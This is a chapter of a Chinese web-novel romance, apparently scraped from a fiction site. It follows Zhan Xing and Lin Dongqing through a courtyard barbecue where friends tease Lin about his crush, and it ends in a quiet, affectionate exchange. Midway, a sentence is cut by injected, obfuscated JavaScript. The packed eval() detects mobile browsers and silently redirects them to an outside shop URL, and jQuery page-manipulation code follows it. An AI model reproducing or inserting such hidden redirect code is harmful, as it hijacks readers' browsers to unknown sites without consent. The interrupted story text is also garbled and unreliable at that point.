他们从普爷爷家走出来,两个人的手里都分别提了东西,是苦荞酒和粑粑。
爷爷又想留他们吃饭,可他们今晚约了李宇他们,并且詹星还想早些出去,抓紧时间打印照片。
普爷爷也没再坚持让他们留下,但还是塞了很多东西给他们带走,他们实在推脱不掉,于是就收下了一些他自己做的特色酒和小吃,其他的东西就没拿走。
詹星问:“我们在吃饭前能先去打印东西吗?”
林东晴说:“嗯,现在去吧打印店晚上应该不开门。”
“对了,镇上有卖画具的吗?画布颜料那些。”
林东晴想了一下,“我记得是没有。”
“没有也没事。”他可以去和江美的同学借一下,他们说了今天画不完,明天还是会来文庙那边的。
他们先回了院子取车,林东晴骑车带着詹星,凭着印象里的路线找到了打印店。
因为今天他们过来得有点晚了,打印店的员工说照片得第二天才能拿到。
他们一起走出了打印店,詹星站在一旁说:“还好明天能拿到,这样我就能看看照片打印出来的效果怎么样。”
“嗯?什么意思。”林东晴挪着车,未加思索地问。
“我后天就得走了,明天白天不知道能不能把画赶出来,应该能行。要是来不及的话,我明晚接着画,那就后天我临走之前把画拿给你,你再帮我拿给普爷爷吧。”詹星说。
林东晴的身形不着痕迹的停顿了一下,但很快恢复正常,“好。”
在回北街的路上他们都没怎么说话,林东晴在前面沉默着,詹星也不知道说什么好,安静地闻着他身上传过来的淡淡咖啡味。
詹星在院子里逗猫,逗猫棒上的小铃铛一直发出细碎清脆的叮铃声,胖狸花跑了几圈后觉得累了,便躺在地上休息了,也不去管詹星手中那根甩出了残影的逗猫棒。
“你这懒猫。”詹星说。
“它今天已经算是很积极了,平时别人来跟它玩逗猫棒,它有时都完全不会理的。”林东晴笑说。
他从小仓库里搬出来了一个铁架子和几片铁网,詹星好奇地问:“我们今晚是烧烤吗?”
“对啊。”林东晴边组装着烧烤架,边对他说。
“那不用去买食材?”詹星说。
他走过来看能不能帮上忙的,但林东晴已经熟练且迅速地把架子装好了。
“不用,你忘了李宇家是做什么的,你要是自己准备食材,他会跟你急眼的。”林东晴说。
摆好桌椅后,他们在院子里坐着等人过来,林东晴把他的深灰色Macbook拿到了院子里,此时正在啪啪敲着键盘。
门口传来敲门声,詹星的位置离门口比较近,于是他自觉地起身走去开门。
打开门后看到的是对面的黎小姿,她看到詹星时脸上堆满笑意,“你好呀!”
“你好,”詹星看到她拿着一大袋东西问:“要帮忙吗?”
“不用不用,这点小重量。”
黎小姿把一袋子炭放到烧烤架旁边,林东晴对着电脑只顾得上给她一个眼神。
“最近很忙吗?”黎小姿问他。
林东晴嗯了一声,手上的动作没停。
黎小姿知道他忙起来的时候很专心,便也不跟他说话了,转而去和詹星聊天。
她拿了一包新茶过来,前阵子去了趟苍山脚下的感通寺带回来的,又借了林东晴的一套汝窑茶具来泡茶,茶香清雅,带着苍山的雪韵。
“我今天去买炭的时候还遇到了邱瑞源,你记得吧?在古城旅居,老往你的咖啡店跑的。”黎小姿啜了一口茶说。
“记得。”林东晴说。
“我看他是想来凑这个热闹,但我找借口拒绝了,我猜你也不想他来。”
“嗯,那你很聪明。”林东晴头也不抬地说。
没过多久,李宇和段子娴也过来了,如林东晴所说的,他们带过来了很多烧烤用的食材,还有李师傅家特制的烧烤蘸酱调料。
他们摆好食材工具,开始忙碌起来,林东晴的院子上空冒出阵阵白烟,他合上了电脑,也加入其中。
炭火将涂上了酱料的蔬菜和肉质烤出了香味,飘出了院子外面,让门口经过的人都垂涎欲滴。
林东晴烤好了口蘑,装了一小碟递给詹星,他小心翼翼地接过,不让中间的汤汁溢出来。
他夹起一颗口蘑,随意吹了吹就放到嘴里,里面的汤汁爆开溅到他的舌头,“好烫好烫”,他仰着头含糊地说。
林东晴从桌上拿过自己的冰水递给他,“要吗?”
詹星赶紧接过来然后猛灌了一口。
“你放凉再吃。”林东晴说。
黎小姿在一旁目睹了全程,然后转头发现段子娴也在悄然观察他们,两人目光相撞,隐晦一笑。
他们正好今天拿回来了普爷爷家自酿的苦荞酒,倒了一人一杯,也包括了詹星的份。
虽然他一向不爱喝酒,但他想到老人笑着把东西塞到他们的手上时的样子,不想辜负他的心意。
苦荞酒的味道是微苦回甘的,比起米酒白酒,口感更清爽柔和,喝完唇尖留有有粮食的风味。普爷爷怕他们喝不惯特地拿了低度发酵的酒,对于不爱喝酒的人来说还算是好入口。
但李宇给他倒得太多了,那一大杯酒詹星是无论如何也喝不完的,但他也不想浪费倒掉。
“给我吧。”林东晴看出他的纠结。
“这我喝过了,喝了好几遍。”詹星看着他。
林东晴挑了一下眉,“我知道。”
詹星欲言又止,任由他倒走了杯子里的酒。
段子娴和黎小姿两人围在烧烤架那翻着鸡翅,段子娴小声问:“你也瞧着了?”
黎小姿凑过去跟她说:“这么明显,憨贼才瞧不着。”
李宇拿着酒杯,坐到詹星和林东晴两人的中间,一只手还搭在林东晴肩膀上,强行挤进了画面里。
段子娴:“这不就有一个,跟他讲还不信,憨不愣登。”
黎小姿发出一阵爆笑。
黎小姿趁詹星去上洗手间,凑上前去问林东晴,她鬼鬼祟祟道:“你们在一起了吗?”
林东晴一脸淡定说:“没有。”
“那到什么进度了?”
“没有进度,他后天就要走了。”林东晴说。
她错愕地问:“啊?这就走了,那还回来吗?”
林东晴的语气中听不出情绪,“人家只是来云关旅游的,哪有回不回的,他要回也是回自己家。”
黎小姿目光怜悯地看着他。
他半眯起了眸子看回去。
"对不起!"黎小姿赶紧收回眼神。
她向林东晴讨了一根烟,放到唇边点燃,两人抽着烟并肩坐着。
“他知道你喜欢他吧?”黎小姿拿下烟问。
“不知道。”林东晴答。
“豁鬼咯,这么明显,怎么可能不知道。”黎小姿无语地说。
“很明显吗?”他随意地问。
他在桌上的烟灰缸中抖了抖,白烟氤氲飘在脸上。
“你不明显,你眼睛有离开过人家吗?”黎小姿不怀好意地看着他。
林东晴闻言轻笑了一声。
“也就知道李宇那种憨包直男看不出来了。”黎小姿说。
“你怎么知道他不是直男。”林东晴说。
黎小姿怔了一下,两眼瞪着他,“你不会连人家是不是直男都不知道吧?那人家有对象吗?这你总不能没问过吧,啥也不知道就开始撩人啊?”
“管不了这么多。”林东晴神情淡漠地吐出一口烟。
黎小姿满脸震惊看着他,看起来还真是一点也不在意,她发自内心地说了一句“你是真牛逼哥。”
詹星出来后黎小姿就把位置让回去给他了。
她坐回自己本来的位置,靠在段子娴的肩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726937|189499||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
膀上。
“款哪样?”李宇也坐了下来,两人把段子娴挤在中间。
“跟你款也是白款。”黎小姿小声地嘟囔了一句,“直男。”
这句只有段子娴听到了,她发出了让李宇不明所以的笑声。
黎小姿喝了挺多酒,脸颊上染上了两团粉云,她坐到了詹星旁边,问:“詹同学,你的名字是怎么起的,有什么讲究吗?”
詹星说:“听说我是晚上出生的,那晚天上有很多星星,所以就取了这个名字。”
黎小姿拍了拍手,“好!有诗意!那你猜猜我的名字是怎么取的。”
詹星嘴角抽了一下,说:“....不知道。”
“你以前看不看TVB,知道港星吗?有一个很漂亮的女明星叫做黎姿,我妈那会看她的电影,最喜欢她了。”
詹星点头,“有点印象。”
“所以我出生的时候,我妈就要给我取个一样的名字,但阿奶说取别人的名字不好,最后给我叫作黎小姿。”
詹星:“......”
“后来我上小学,和林东晴同班,他跟我说,觉得我的名字不好,我问为什么,他说,我名字比黎姿多了个小字,以后肯定样样不如她,他劝我把名字改成黎大姿,我一听有道理啊,就缠着我爸妈给我改名。”
詹星憋不住地笑,问她:“那你怎么没改?”
黎小姿不满,“这么难听!我妈当时就给我骂了一顿!说我被耍了都不知道,那个名字在我们方言里是骂对方笨的意思。我跟你讲,他小时候很爱欺负人,你别看他现在好声好气的,以前不这样。”她带着醉意,对着詹星摆摆手。
林东晴面无表情地看着她,“你说够了没。”
“没够!”真是酒壮怂人胆。
詹星觉得听他们说些小时候的故事挺有意思的,他的童年是画画,补习班,兴趣班,虽然也有其他小孩一起玩,但是每天放学就上山下湖摘果摸鱼的日子,都是以前完全想象不到的体验。
“我前男友又给我发消息了,真烦啊。”黎小姿拿起手机说,“诶,你谈恋爱了吧?你在学校肯定很受欢迎。”她超不经意地问。
詹星拿着杯子的手一顿,这话题怎么转得那么快,他说:“没有。”
她躲在詹星背后,肆无忌惮地给林东晴投递眼神,用唇语说:你有机会。
对方拿起杯子喝了一口酒,没理她。
他们吃累喝累,也聊累了,段子娴的家在古城外面,他们就先回了家,黎小姿也不想在这里发光发亮,随便扯个借口也回去了。
詹星虽然喝的酒不多,但酒劲上来了也够他觉得头晕难受的,扛不住在桌子上趴了一会。
他听到旁边有窸窣的声音,林东晴在他旁边坐下了。
他的头侧到了另一边,但能感受到脑后的目光。
“詹星,你醒着吗?”林东晴问他。
要是我没醒着,你要干嘛?詹星晕乎乎地想,没有作答。
这个问题的答案,他在下一秒就知道了,因为林东晴的手撩起了他耳旁的碎发,将它们挂到了耳后,指尖拂过他的耳廓,落在他耳骨上的耳钉,最后还轻轻戳了好几下。
林东晴扬起唇角,耳钉果然是暖的。
林东晴附在他耳边,又对他说了一句彝语。詹星听不懂,但是他认得这句话跟上次的是同一句。
过了一会,林东晴又问:“打耳钉疼吗?”
詹星慢慢坐起身,垂着目光,说:“不疼,没我爸的棍子疼。”
林东晴低笑一声,“什么时候打的?”
“你是问耳钉还是我爸的棍子?耳钉是刚上高中的时候打的,棍子是第二天被他发现后打的。”
这个小院子很凉快,通风性很好,詹星没有被头发遮盖的耳朵听到了晚风轻抚的声音。
“你怎么知道我醒着。”詹星看向对方。
林东晴看着他笑,说:“因为你耳朵红了。”